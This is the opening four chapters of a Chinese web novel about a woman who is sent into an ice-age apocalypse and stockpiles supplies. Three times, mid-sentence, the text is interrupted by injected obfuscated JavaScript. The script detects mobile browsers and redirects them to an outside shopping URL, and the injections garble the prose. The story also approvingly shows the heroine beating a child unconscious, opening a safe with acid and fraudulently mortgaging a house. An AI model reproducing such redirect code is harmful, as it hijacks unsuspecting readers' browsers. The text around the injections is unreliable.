《我靠植物过末世》 1. 第 1 章 大卡车冲过来的前一秒,一片刺耳的尖叫中,祁安安只来得及下意识闭上眼睛,预想中的疼痛没有降临。 天旋地转间,她听到了一阵冰冷的电子音: 【滴,检测到生命体。 宿主绑定中…… 宿主绑定成功】 【世界抽取中,任务等级:D级。 世界类型:低温冰冻末世(天灾型)。 投放时间:灾害发生前72小时。 世界身份:已婚全职太太。 世界任务:成功存活三个月(完成可获得100积分,失败则抹杀)。】 什么东西。 祁安安只觉得头痛到快要炸掉,整个人晕晕乎乎,仿佛被放进雪克杯里摇匀了五百遍。 再次恢复五感时,一道正处在变声期的鸭子音,尖锐地插进她混乱的脑子里,刺得脑仁生疼。 “我不吃蔬菜我要吃肉!你不给我吃肉,我要和爷爷奶奶爸爸告状,让他们打死你!” 祁安安睁开双眼,看清了自己的处境,夕阳透过宽大的落地窗柔和地洒进室内,窗外的高温惹得蝉鸣都没了力气,墙上的钟表显示现在是下午6点。 自己正坐在一张家庭餐桌前,对面是一个初中年纪肥胖矮壮的男孩,他正不满意今晚的菜色,气得把桌子拍得砰砰响。 显然自己如脑子里那道声音所说,来到了另一个世界,祁安安捂住额头,尝试继续和它沟通。 【你是谁?】她集中精神在脑子里问。 一道电子音响起:【我是“未来”末日游戏,在宿主的世界里,0.5秒钟后失控的大卡车会与您相撞,根据系统计算死亡概率为99.999%。接受游戏完成任务,你将获得一次死里逃生的机会,否则,死。】 冷冰冰的“死”字毫不避讳的砸在耳边,祁安安心头一震,明白自己根本没得选。 “我接受。”她说。 电子音再次响起:【宿主任务接取成功,系统正在为您激发潜能……滴,植物种植空间激活完成,请查收。】 居然还有新手大礼包! 祁安安满怀期待地屏住呼吸,下一秒一道绚丽的2D电子屏在眼前慢慢呈现,她的眼神从一开始的惊讶疑惑再到不可思议。 她忍不住揉了揉眼睛。 不是,系统给发了个啥玩意儿啊? 悬空的屏幕里有一片栅栏,一块绿油油的草地,一栋小屋,还有放在最上方的卡槽。 这这这这这—— 这种似曾相识的感觉,不就是她肝了一周的国民游戏植物大战僵尸! 老乡啊! 祁安安飞速把屏幕上的信息快速浏览了一遍。草坪是一块5×9的格子,空荡荡地没有种植任何植物。 棕色卡槽里是一排灰暗的卡片,都是祁安安在游戏里熟悉的植物,她试着点击了一下,全是冷冰冰“未解锁”。 【宿主可选择使用50积分,或完成任务世界后解锁任一基础植物。】 祁安安瞄向了卡槽旁边的数字,系统给的初始货币正好50,她有点跃跃欲试:“解锁植物后就可以无限制使用吗?” 祁安安知道自己在做梦,但还是忍不住问一嘴。 万一呢。 【解锁后不同植物需要相应积分进行购买,购买后才可使用。】 行吧,祁安安心里的小火苗一下子蔫儿了,50积分买回来个能看不能用的,花不起这个钱,算了。 她恋恋不舍地在毁灭菇和玉米加农炮上停留好几眼,下一秒眼前一晃,屏幕上多出了一个许愿池。 【25积分一发,抽抽乐考虑一下?首抽必得植物哦。】 祁安安:“……” 逆天,这50积分今天一定得进你兜是吧? 但不可否认,首抽必得,还是让祁安安这个非酋赌狗该死的心动了。 “那……来一发?” 系统扣积分的速度更快,许愿池飞速转动起来,祁安安激动地攥紧双手。 【滴,恭喜获得火爆辣椒(体验卡)x1。】 呃……,祁安安有点小抓狂,“系统,这就是你说的首抽必得植物?” 25积分换张体验卡,虚假宣传举报电话在哪! 【宿主,火爆辣椒本来就是一次性植物,这张体验卡很有用的。】 祁安安居然从系统的声音里听到了一丝小委屈,幻听了? 她连忙把脑子里的水摇出去,然后点开火爆辣椒的简介,开始认真研究:【火爆辣椒(状态:可种植),属性:对一条直线上的敌人造成1000点伤害。】 这个伤害祁安安没概念:“我的生命值是多少?” 系统:【成年女性生命值为800,男性1000,依照身体素质和装备上下浮动。】 懂了,也就是火爆辣椒放在天灾型末世里基本就是秒杀一切的存在。 非常好的体验卡,爱来自用户,笔芯。 祁安安最后点开了草坪旁最期待的小屋,作为游戏中戴夫的小屋,没有玩家不想一探究竟,可惜她轻轻一按,系统就直接亮了明牌—— 这是一个16立方米可拓展的储物空间。 没有惊喜,但是完美,祁安安对自己的金手指非常满意。 —— 信息全部接收完毕,眼前的时间开始流动。与此同时,祁安安也接收到了系统传输的世界记忆,对面坐着的是她的继子,也是她姐姐的儿子。 等等,这是什么关系?还是你们城里人玩的花。 非常狗血的设定,祁安安是个被全家扒着吸血的女孩。亲姐姐三年前去世,父母害怕她留下的孩子被继母苛待,就设计让祁安安嫁给了自己的姐夫。 祁安安的婚后生活过得凄惨,既要顶着街坊邻里指点鄙夷的目光,又要忍受父母时时刻刻的提防。 他们即怕祁安安苛待大孙子,又害怕她做得太好笼络住女婿的心,让他忘记自己的大女儿。 而那个姐夫,作为游离于事外的既得利益者,自然也不是什么好东西。祁安安对他来说是家庭的免费保姆,相处之间连基本的尊重都做不到。 就这么一个窒息憋屈的环境,原主居然能忍了三年没疯,这也是神人。 对面的小胖子还在乌拉乌拉地乱吼乱叫,祁安安懒得分给他眼神,直接转身回了卧室。 天气预报上今天的气温又创新高,但祁安安决定相信系统,为即将到来的极寒末世做准备。 她从床头的抽屉里翻出了一个钱包,里面放着崭新的200块钱,是原主丈夫李铭刚给的这周生活费。 200块能干点什么,日常买菜都不算够,但祁父母却要求营养全面,顿顿有肉。 为了少受点责难,祁安安只能从自己的小金库里补贴,结婚三年她没攒下一分钱,婚前的小金库也贴个七七八八。 现在钱包里的几张卡加起来,再加上现金,一共是五千八百块。 极寒模式最需要的就是各种保温装备,这点钱买件好一点的羽绒服都不太够,更不用提接下来的租房囤货。 更重要的是,这是她的第一个末世任务,系统将她投放到了灾难前的72小时。 万一下一次她没有这么幸运,没有囤货时间呢? 祁安安是个未雨绸缪的人,所以她打定主意,一定要把自己的小小空间给填满! 在卧室里又待了一会儿,查找好需要的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161272|138758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 资料后,祁安安推开门打算出去。 正在餐厅里撒野的李小伟见状,狰狞着脸抓起桌上的碗扔了过来。 “啪!” 瓷碗炸开在脚边,祁安安向后躲了一下,鞋面被飞溅出来的饭菜染脏了一小块。 她眼睛危险地一眯,在椅子上大呼小叫的李小伟下意识缩了缩脖子,气势矮了一截。 向来唯唯诺诺的继母,怎么,有点不好惹了? 小小的客厅里一股山雨欲来的气氛,李小伟意识到不妙,悄咪咪地往门边挪。 然而他那种正方形的身材,做什么动作在祁安安眼里都是慢动作。 她毫不费力地三两步追上,然后一把将他推倒在地,随手抄起放在门边的羽毛球拍,“啪啪啪”使劲打在小胖子的屁股上。 “嗷!”李小伟疼得胡乱挣扎在地上弹动,像只被按在砧板上的猪:“你干嘛,你凭什么打我?贱女人我要让人打死你!” 如疾风暴雨般落下的球拍,居然奇迹般的停止了,李小伟迷迷糊糊的抬起头,下一秒淡淡的女声宛如恶魔的低吟响在耳边。 “好啊,带上你的三个保镖一起来,我倒要看看你们能怎么让我好看。” 祁安安抄起球拍发狠又补了两下,三秒钟过去,地上的李小伟没了声音。 祁安安:“……………????” 打屁股能搞出人命来,不至于吧? 祁安安凑近他的鼻间,呼吸均匀有力,事前无基础病。 所以,这是剧烈疼痛刺激引起神经紊乱导致昏迷。 弱鸡一个。 祁安安翻了个大大的白眼,神清气爽的站起来,适当运动果然有益身心健康,祁安安感觉淤积在心中的那口气都顺畅不少。 就是——啧,用力过猛,拍子都打歪了。 都怪李小伟! —— 祁安安一边往楼下走,一边在二手软件上回复卖家的信息。 这个世界的治安和监管都十分松散,二手平台和黑市上能买到不少违禁品,祁安安搜索对比后,最终在一个同城的卖家手里以两千元的价格买到了一瓶1000ml的浓硫酸。 回去的路上,她又买了一副耐酸碱的手套,推开门李小伟已经不见踪影,不过这个时间祁父祁母雷打不动在两公里外的公园跳广场舞,要到9点才能回家。 这个时间差,祁安安可以做很多事。 她把目标瞄向了书房里的保险柜。 原身的丈夫李铭正在外地出差,三天后到家,书房的保险柜里放了他不少好东西,正是祁安安现在最需要的启动资金。 祁安安戴上手套,小心翼翼地用浓硫酸一点一点腐蚀着保险柜的锁芯。 二十分钟后,保险柜终于打开,里面的东西不多,有李铭比较重要的合同证件,两块奢侈手表,以及最重要的,祁安安此行的目标,这套房子的房产证。 得益于这个世界松散的法治,在一些黑市或者不法典当行里,无需户主同意也可以进行房产证抵押,只是价格也会大打折扣。 身无分文的穷光蛋祁安安表示,不管多少,有钱就行。 出示了自己身份证以及和李铭的结婚证,并且承诺只是临时周转,三天后就能还款。祁安安成功将这套市价将近五百万的大三室,抵押了三十万元。再加上两块手表抵押的五万块。祁安安现在有了35万元的启动资金。 离开的时候,她没忘带走这个家里所有的食物、过冬衣物和厚被褥,只留下了几罐汽水还有一条薄薄的空调被。 三天后李铭出差回来,见到的是乱成一团的家,还有上门的讨债公司。啧啧啧,这么刺激的场面,祁安安脑子里想想都乐到不行。 2. 第 2 章 手里有了大笔启动资金,祁安安花钱瞬间大方不少。趁着天色没暗,她打车去了附近的一家房产中介,详细地提出了自己的要求: 1,房主必须在外地。 2,要独门独户的别墅或者自建房。 3,要有够深够安全的地下室。 这三个要求给中介听得一头雾水,不要求配套设施,也不要求房子装修,偏偏三个都符合的房子还真不多。 但万能的中介琢磨了一会儿居然还真的拿出了几把钥匙,开上门口的车,带着祁安安一起看房。 不算新的车子奔驰在S市夜晚的车水马龙里,路口站着指挥交通的交警,街边的情侣正商量着要到哪过夜生活,这是个闹中有序的城市。天灾型的末世,国家机器短时间内还会有威慑力。 祁安安想了想,再次打开手机,在二手软件上联系了一个□□件的,她需要隐藏身份,在秩序还未消失时不被祁家人缠上。 中介小哥先带她到了一片即将开发完成的别墅区,这里入住率低,周边的配套设施完善,并且每栋别墅都配有地下室。 祁安安看了两套,每一个房东都花了大价钱装修,租金也不便宜,最便宜的都要两万一个月,而且是押一付三。 六万块对现在的祁安安不是小数目,而且每栋别墅都配有地下室,就意味着万一末世中遭遇人祸,自己的藏身之处瞬间变成了明牌,很难继续苟下去。 她也没说定下,只是让中介小哥继续带她去看看别的。但跑了好几个地方,连续又看了好几套,祁安安眉头越皱越紧,始终没有拍板做下决定。这会,就连精力充沛的中介小哥也有点顶不住了。 他疲惫地打了个哈欠,已经对今晚的成交不抱希望。 “妹子,这还有最后一套,估计你也看不上。不早了,我先送你回去吧。” “大哥你带我过去看看吧,今晚肯定不让你白跑一趟。”祁安安心里也急,她只有72个小时,租下房子后再进行装修也需要时间,不能再拖了。 “行吧,上车。”中介拗不过,只得打开导航,发动汽车向更远离市区的方向行驶。 大概20分钟后,汽车驶进乡间的道路,最终停在了一栋有些破旧的农村自建房前。 借着月色中介小哥打开了大门,顺手拉开了墙上的钨丝灯。 “这房子可真有年代啊。”祁安安拍拍肩膀上掉落的墙皮,忍不住感叹。 中介介绍道:“要论起来,这才是最符合你要求的房子。老地主家的院子,房主一家都移民去了国外,你租下来想怎么折腾都没人管。” “至于这地下室就更有说法。”中介神秘地冲她挤挤眼,然后轻轻按下一个机关,院中间的花坛应声旋转,露出通向地下室的小道。 “怎么样,这才是地主家的宝贝。看看这质量……”他使劲往地上跺跺脚,下面没有传出一点回音,“绝对不是开发商的样子货能比得上的。” 祁安安眼中闪过惊喜,她打着手电筒下去看了看,这栋房子的地面部分不太如人意,但地下室倒是满分,大小和深度都格外优秀。 更重要的是,进入方式足够隐蔽,就算有人破门而入,也很难发现躲在地下的她。 简直完美! 祁安安当场拍板定下了这套房子,加上中介费一共一万五千元。 总算心头一块大石头落地,祁安安拜托中介小哥把自己捎回市里,她选在了最热闹的一条小吃街下车。此时正是深夜最热闹的时分,夜市一条街里人声鼎沸,格外热闹 烤冷面,烤面筋,麻辣小龙虾……,诱人的香味一股脑钻进祁安安的鼻子里。 祁安安找了个最近的店点了一碗全家福螺蛳粉,夜市里的生意非常好,等位的时候,她灵机一动又去了这条街里的排队王,打包要了五份锅包肉,五份蒜蓉小龙虾,还有十份烤冷面卷臭豆腐。 她先付过钱,和商家约定二十分钟后再过来取。愉快地嗦完一碗粉,祁安安取回提前定好的餐品,然后找了个避开摄像头的小巷,把它们都装进了小屋里。 系统介绍过小屋是空间和时间都静止的状态,祁安安只担心东西会随意散落在地板上。 但是2D游戏有2D游戏的规则,物品在小屋中的存在方式更像是桌面上的电脑文件,祁安安在脑内输入,下一秒就能自动取出,而且 每一个物品间都隔着一层薄薄的空气膜,既干净又方便。 一碗螺蛳粉已经把祁安安的主食胃填饱,但在夜市街上走着走着,她的手里不由自主地出现了许多零零碎碎的其他小吃。 各种口味的糖葫芦每样来两串,喜欢口味的奶茶点了三杯,还有路上卖的鸡蛋汉堡,车轮饼,现烤的吐司,祁安安都按照自己的口味,买了喜欢吃的放在小屋里。 走出美食街,她打了辆车,住进了附近的星级宾馆,美美地睡了一觉。 第二天一早,再次打开手机时,这台坚/挺的古董机差点因为多到爆炸的电话和短信而过热死机。 祁安安大致看了眼,这些信息全是原身父母的杰作。 为了防止干扰,她的手机从昨天离家后就一直保持着关机状态,付款也全部使用现金。祁父祁母的电话从昨晚九点半开始,以一分钟一次的频率连续拨打了二十多个之后,转而使用短信轰炸。 “小贱人是不是在外面傍上野男人了?连家和孩子都不要,臭不要脸的,对得起你姐姐吗?赶紧滚回来给小伟赔礼道歉,要不然等阿铭回来,有你好看的!” 打开信息就是这么劲爆的一条,祁安安面不改色的滑过去,她大致扫了一眼,然后淡定的打开聊天框,分别礼貌地回复了两个“微笑”黄脸。 “滴滴”的信息提示音响起,一大早就守在手机旁的祁母立刻扶着老花镜凑近,却猝不及防 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161273|138758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 聊天框里的黄豆来了个大眼瞪小眼。 一个普普通通的微笑表情,对应着自己上面的破口大骂,怎么感觉有被祁安安嘲讽到? 她问:“老头子,这贱女是啥意思?” 祁父按灭烟头重重地冷哼一声:“就是给她的好脸色太多,日子过得太好了,等女婿回来,绝对要把她往死里打给她好好长个记性!” “让爸爸打死她!嘶……不给我肉吃,还欺负我的恶毒后妈就该死!” 躺在沙发上痛苦呻吟着的李小伟也连声应和,一想到祁安安即将遭受的毒打,火辣辣的屁股似乎都没有那么疼了。 祁安安倒是对这一大家子人的恶毒谋划一无所知,不过就算她知道了,也只会冷嘲一声。论起留的后手,三天后李铭回来,该哭的还不一定是谁呢。 —— 在酒店吃了一顿丰盛的自助早餐,祁安安去附近的商场用现金买下了一支最新款的手机,然后插上了用□□办理的手机卡。 感谢万能的黄色二手软件,祁安安在上面分别联系到了一家建材供应商和施工队。 祁安安的打算是按照南极科考队同款,来打造安全屋。 首先把房子三面的窗户和露天的院子全部封死,然后在房屋一楼和地下室内墙全部刷上防冻材料,最后加贴一层岩棉板,双重保障,保暖性更好。 前面的都是小问题,然而S市地处南部,冬天连穿棉袄都是少数,建材老板只能承诺涂料帮她尽量凑。 施工队那边也是问题,包工头直言,祁安安要求的两天半完成是异想天开,绝对做不到。 祁安安没多废话,直接开出价码:“只要能在规定时间完成,不论来多少人,工资照结,每提前一小时完成,我加两千元奖金,上不封顶。还有困难吗?” 话音落下,电话那头包工头的呼吸都粗重几分,立刻拍着胸脯保证:“没有了,保证完成任务!” 只要加钱,材料到位的情况下,别说不到三天,包工头能让工期缩短一半! 他急得把建材供应商的电话也要了过来。不中用的东西,别挡了他赚奖金的路! 一上午的时间把安全屋的事情协调完毕,中午祁安安吃着外卖,一点点列着物资清单。 三个月的生存时间,小屋的16立方米放必备的水和干粮完全足够,但祁安安希望在有条件的前提下,尽力让自己过得舒服点。 她叫出系统,问出了一直埋在心里的疑惑:“任务完成后脱离世界,这具身体怎么办?末日世界会怎样?” 【宿主离开后身体将由原主人继续接管。任务世界必定走向毁灭,宿主专注当前任务就好。】 祁安安听懂了,也就是她的离开,并不意味着身体的死亡,“祁安安”和这个世界都要继续运转。 既然如此,囤货清单上要再多加些物资,为这个世界的祁安安留下生机。 3. 第 3 章 原先的囤货计划被推翻,祁安安决定以资金为限,尽可能多的囤积物资。 她先联系到了市区的一家小型仓库,以一万元的价格租下了三天的使用权,作为接下来时间里她的物资中转点。 然后去租车行租了一辆大型的suv,车窗全部贴了单向膜,方便这几天使用。 下午两点正是太阳最毒最晒的时候,打车去租车行的路上,祁安安撑着防晒伞,几乎是飞一般逃进了车里。 司机笑着从车载冰箱里掏出来一瓶矿泉水:“冰的。” “多谢。”畅快的冰水下肚,祁安安总算感觉自己活过来了。 她有心提醒:“马上要###,您多准备点##吧。” 司机摘下了耳朵里的耳机:“要怎么了?需要准备些什么?您说什么我没有听清?” 祁安安又重复了一遍,摘下了耳机的司机还是一头雾水。 大降温和物资这两个词被屏蔽了。 等红绿灯时,祁安安又尝试用其他语言,或者是在手机屏幕上打字,然而只要提到一点关于末世的信息,就会被完全屏蔽。 连续试了好几遍,因为频频被分散注意力,司机脸上职业化的笑容都有些挂不住,一直装死的系统终于主动出声。 【宿主不要再白费力气,无论用任何方式透露末世信息,系统都会进行屏蔽。任务世界有既定命运,宿主只需专注当前任务就好。】 祁安安沉默了一会儿,问:“如果命运无法更改,那我接下来要代替原主经历的三个月又算什么呢?” “她和你们做了什么交易?或者你们能从她身上得到什么?” 【……】 系统装死不说话,祁安安得不到答案。 但作为一个任务者,一个普通人,系统的回复其实为她减轻了良心谴责。 如果可以公开末世信息,那——要不要说? 不说的话,这些都是活生生的人,因此而死,良心上过不去。说出来的话,末世一开始,第一个被国家机器抓进实验室的绝对要是自己。 说不出就说不出吧,祁安安在司机面前闭上了嘴巴。 不过下车时她还是没头没脑的提醒了一句:“可以的话,明后两天待在家,多囤积物资。” 司机:“?” 怪人年年有,今年特别多,又一个信末世论信傻的。 放在平时司机可能笑笑就过去了,但大概是祁安安安在车上一次次的欲言又止,还有下车时的诚恳目光。 收车回家的司机鬼使神差的开到了大型超市旁。 “算了,来都来了进去买点东西再走。” —— 祁安安取好suv来到了某大型连锁商超,外面是三十多度的炎炎高温,生鲜水果之类的只能放在最后一天再进行采买。 今天她主要来扫荡一些食物。 这家超市以大分量出名,所有商品都是超大包装,来逛的主要是囤一周菜的上班族和多人口家庭。 米面这些生存必需品,祁安安直接在超市小程序上下单了真空包装的各五十袋,把地址填在临时小仓库。这些都是50kg的大包装,一个人独居的话,够吃很多年。 然后她推了一辆多层的购物车开始扫货,二十大包各种口味的泡面,压缩饼干芝麻、原味、香葱的一样来了一小箱,然后各种水果罐头一个口味来了两个。 今天是工作日,超市里正好没什么人。祁安安这么大手笔的囤货,很快吸引来了超市的工作人员。 有了工作人员的协助,祁安安彻底解放双手,只用动嘴就好,工作人员会帮她下单。 花生油、菜籽油、橄榄油三种1L的小包装一样来四箱。之所以不选大桶装,是祁安安怕温度如果太低,油冻的结实,用的时候太麻烦。 冰天雪地的应该不用担心变质的问题,挂面5kg一包x30,纯牛奶和酸奶各来了10箱(24盒),品质好价格也不便宜的午餐肉、红烧肉、牛肉、羊肉、熏鱼罐头,一箱24盒,一样来了五箱。腊味烟熏制品可以长久保存,吃着也方便,祁安安腊肉腊肠各要了一百斤,腊鸡腊鸭各五十只。 自热小火锅选了麻辣和番茄两种口味,要最豪华的套餐,一样来了六箱(8盒)。自热米饭四个口味一样来了十箱(6盒)。 卫生巾太占地方,祁安安直接囤了整整十箱卫生棉条(16支x24盒),绝对够两个人用到绝经。 至于纸巾,占地方却是必需品,祁安安买了三十箱(24包),还有四个酒精炉,100gx200块的固体酒精要了两箱。 转着转着,祁安安还发现了卡式炉以及它的替换液化气,就是……,祁安安可以和冻着的油壶搏斗,但是冻着的液化气还是算了。 小命要紧。 实在是眼馋,她还是要了一个卡式炉,又要了一箱(12支)的替换罐。 主要的物资让工作人员帮助下单完毕,祁安安付了钱确认好地址后,又推了一辆购物车,这次她的目标是一些零零碎碎的小东西。 瓜子花生小鸡腿,薯片饼干大辣条,各种各样的零食,祁安安吃过的没吃过的,只要感兴趣,通通扔进购物车。 差点忘记了牛肉干和巧克力都是补充能量的好东西,祁安安直接找到导购,牛肉干原味和香辣的各要了一箱(120小包)。巧克力他不喜欢太苦的口味,巴旦木、榛子、开心果味的坚果巧克力一样来了一大盒。 整天吃半成品也不像话,祁安安还打算末世开始前加工一些熟食,调料必不可少。 葱、姜、蒜、盐、糖、味精、鸡精、生抽、老抽、香油、豆瓣酱、火锅底料,各种口味的下饭酱、还有海带、腐竹、木耳、干蘑菇这些干货。 最后是十分重要的暖宝宝贴,夏季本来就是暖贴的淡季,祁安安直接清光了商场的库存,10箱2000多片全部包圆。乐的商场经理给了她一个非常优惠的价格,看她这么大的单子,还帮她减免了一些配送费。 都来不及喘口气,祁安安紧锣密鼓的前往下一个目的地——S市最大的服装批发市场。 在这里她把春夏秋轻便舒适的女性衣物各来了五套。然后是羽绒服三件,自己尺寸的保暖内衣20套,轻薄暖和的羽绒被五床,羽绒内胆10套,选的都是黑色经典的耐脏款式。 保暖用品真是不便宜,看着没多少东西,已经花了她小五万块。 她又在户外用品店逛了许久,来回对比了好多家之后,才选了一个质量优价格适中的店铺,花了大价钱买了五整套从头到脚的防寒装备,护膝,护腰,羊绒围巾,羊绒帽,护目镜,冲锋衣,雪地靴,厚绒手套,应有尽有一应俱全。 防身用品,她又在店里买了10瓶防狼喷雾,一根棒球棍。还从上次那个卖给她浓硫酸的二手贩子那里弄来了根电击棒。 所有东西装货上车,祁安安离开了服装批发市场,她开着车在s市的大街小巷绕来绕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161274|138758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去转了半天,这才找了一个隐蔽的地下车库,把这批保暖物资全收进了小屋里。 顺路,她还没忘找了家孤儿院,把李家父子的衣物全部捐了,并且反复提醒院长,最近一定要多囤物资。 回酒店的路上,祁安安又去药店囤了大量的维生素片,以及感冒药、发烧药、冻疮膏,还有外伤用的酒精、纱布、碘酒和云南白药。 第二天她又去了家具城,买了一张宽大舒适的沙发和一套木餐桌椅。 与此同时,包工头也打电话过来,告诉了她一个好消息,建筑材料全部到位,明天一早就能完工。 下午的时候,祁安安开车去了一趟附近的煤厂,这里的主要产品是蜂窝煤,曾经也盛极一时。只是燃气的普及让它逐渐萧条起来,现在还在坚持的客户,只剩下些上了年纪的老人。 煤厂按块售卖,一块蜂窝煤6毛钱,一包二十四块,祁安安减去将要支付的工程款,又留下了一万块的备用金,把最后的八万块钱全部换成了煤。 看她是大客户,煤厂给了优惠,每块便宜五分钱,祁安安得寸进尺,笑盈盈的问能不能搭半车木材边角料。 木材不在祁安安规划的取暖材料里,和煤炭相比,木材燃烧速度快,烧起来的烟雾也大,不过做引火用倒是不错。 煤厂老板多看她一眼,点点头同意了。家具厂也是他的产业,用半车废料搭份人情也不算亏。 她又趁着夜色去市场上淘了两个大煤炉,还有一整套可以在煤炉上使用的锅具,末世物资基本储备完毕。 最后一天,祁安安坐在酒店里疯狂点外卖,早餐点了三次,都是五人份的量。然后又去酒店附近的餐厅里打包了十份汉堡全家桶套餐,十份超大披萨,还有三十杯各种各样的快乐小甜水。 包工头的电话在上午九点打来,祁安安和他视频验收后,利索的把尾款打了过去,同时通知家具厂送货。 她则是租了个货车去了最近的超市,这一次要囤够生鲜食品。 肉类:猪排骨猪肉馅猪里脊猪五花猪蹄猪大肠,M9牛排牛里脊牛肉卷,羊排羊腿,基围虾黑虎虾小龙虾,鸡胸肉鸡翅鸡腿,各种河鱼海鱼,火锅丸子鸭肠毛肚等等。其他的水果蔬菜菌类也是有什么拿什么,一样不少。 生鲜食品她让超市用保温箱装好,短时间内不会变质,然后开车立刻前往临时仓库。 祁安安修长的手指快速按在仓库里的物资上,像魔法一样,一箱箱物品消失在她手指间。 她在仓库和车厢来回两次,飞快的装走了一半物资。 即将发动油门时,祁安安敏锐的发现了一丝异常。她打开天气软件,实时的室外温度是32°,居然比出门时低了五摄氏度。 这不合理,尤其,现在是中午十二点。 为什么会反常出现降温? 难道是末世的前兆? 花坛里的红花绿叶因为适宜的温度慢慢舒展叶子,车窗外,刚从体育馆走出的青年们结伴而行,叽叽喳喳感叹今天是个难得的好天气。 一切都普通美好。 祁安安不敢耽搁,连忙踩下油门,尽最快的速度往安全屋里赶。 然而天不随人愿,偏偏今天回去的路上格外拥堵。 祁安安烦躁的按了按喇叭,引来一群司机的应和。她被夹在车流中间,偏偏还带着满满一车物资,只能在这里进退两难。 而此刻—— 实时温度又下降了2°。 4. 第 4 章 还好堵车只是一阵小插曲,交警出现后拥挤的道路慢慢开始移动,祁安安猛踩油门,连忙赶回了自己的安全屋。 下午一点半,实时温度已经跌到24度。 根据祁安安观察,气温正在以每10分钟一度的速度下降。再加上系统说过,投放时间是末世开始前72小时。时间应该来得及,她得把最后一批物资取过来。 没时间犹豫,祁安安再次跳上了货车,将速度开到最大全力往仓库驶去。 第二车货物装好发车,时间来到了下午的三点二十分。一阵冷风吹来,祁安安忍不住打了个寒颤。她身上穿着的还是早上的短袖薄裤,此时气温已经下降到了15度。 温度变化太剧烈,街上的行人也察觉到了不对劲,路过的男生狠狠搓了搓胳膊上的鸡皮疙瘩,纳闷:“降温了吗,怎么突然变这么冷?” 祁安安不敢耽搁,将油门踩到底,连忙往家赶。二十分钟的路程过后,时间来到下午三点四十分,这一次气温下降了足足13度。 更离谱的是,S市居然下雪了。 天空阴沉得可怕,大片大片的乌云把太阳死死挡住,昏暗的天空下,一两片雪花卷着寒风打着旋儿飘落。 “卧槽,下雪了!” 不知道是谁惊呼一声,公交车上有孩子好奇地伸出头,激动地小声欢呼:“妈妈快看,是雪唉!” 先是一两片雪,因为地面还未降温,所以迅速融化。紧接着雪花加大了攻势,大朵大朵如鹅毛般纷纷扬扬飘落,在昏暗的光线下仿佛描着一层黑边,散发着不祥的味道。 盛夏飞雪,奇异的现象让不少车都慢下速度,嘈杂混乱地讨论着。雪花很大,伴随着寒风地面迅速降温,没一会儿就薄薄地铺上了一层白色。 被奇景冲昏了头脑的人们终于反应过来,要么赶紧发动车辆离开,要么跑进街边的店里避寒。 祁安安扫了一眼仪表盘上的温度,零下二度,这么短的时间气温居然又下降了三度! 然而这仅仅是个开始。 她打开了车内的暖风,继续往前行驶。雪越积越厚了,因为怕打滑,她甚至不敢把车速提得过高,只能保持一个偏慢的速度行驶在道路上。 车内的暖风开到了最大,但制热效果却是越来越差,因为车窗外的温度正在极速降低,不到二十分钟时间,居然又下降了15摄氏度。 车窗上升起一层哈气,祁安安不得不打开除雾模式。雪实在下得太大了,四周都是雾蒙蒙的一片,虽然还是白天,但昏黄的日光不足以穿透雪花,车子的远光灯只能尽力照清周围两米的景象。 这一路没有堵车,但是因为能见度太低,雪又太厚,所有车辆都在小心翼翼地缓慢行驶。 祁安安被冻得牙齿直打颤,浑身都在发抖,一张小脸更是白得可怕。顾不上会不会暴露小屋的存在,她连忙取出一件厚厚的羽绒服盖在身上,身体这才稍微回温。 放在一旁的手机因为接连不断的信息,屏幕反复亮起。 【S市气象台2024年8月3日15时55分发布低温暴雪红色预警信号,请市民避免外出。】 【国家气象局2024年8月3日15时59分提醒您,受来自海洋冷空气影响,温度将持续走低,请各位居民避免外出,做好防寒准备。】 手机屏幕上的时间慢慢跳到16:00,是首都时间下午四点。 首都时间! 记忆缺失的一角被填满,祁安安终于明白一直萦绕在心头的那股违和感从何而来。系统将她投放进任务世界时曾说过,时间在末世发生前七十二小时,睁开眼睛时,她看到的时间是下午六点。 但——,她忽略了一点,S市比首都更靠海, 且两地横向相距千里,地理位置上跨越了两条经度线。 所以,系统给出的末日发生时间,是海洋寒流到达首都的时间。正好是她到达这个世界的第72个小时,首都时间下午六点。 而S市位于首都东部,末日降临的时间只会更早。 似乎应验了她的判断,下午四点好像打开了潘多拉的魔盒。 气温在短短一分钟之内又下降了20度,不少车辆都因为低温熄火在了路边,祁安安这台老古董货车倒是出乎意料地□□,不过她甚至来不及庆幸。 “呼呼呼……”耳边传来一阵极大的风声,只闻其声,却未见其风。祁安安不敢想这代表着什么,只是闷着头在雪地里继续艰难前行。 还有两公里,马上就到家了! 但危险只会来得更快。 这一路上能见度虽然很低,但身边的汽车时不时都会按下喇叭,或是提醒,或是发泄心中的不安。 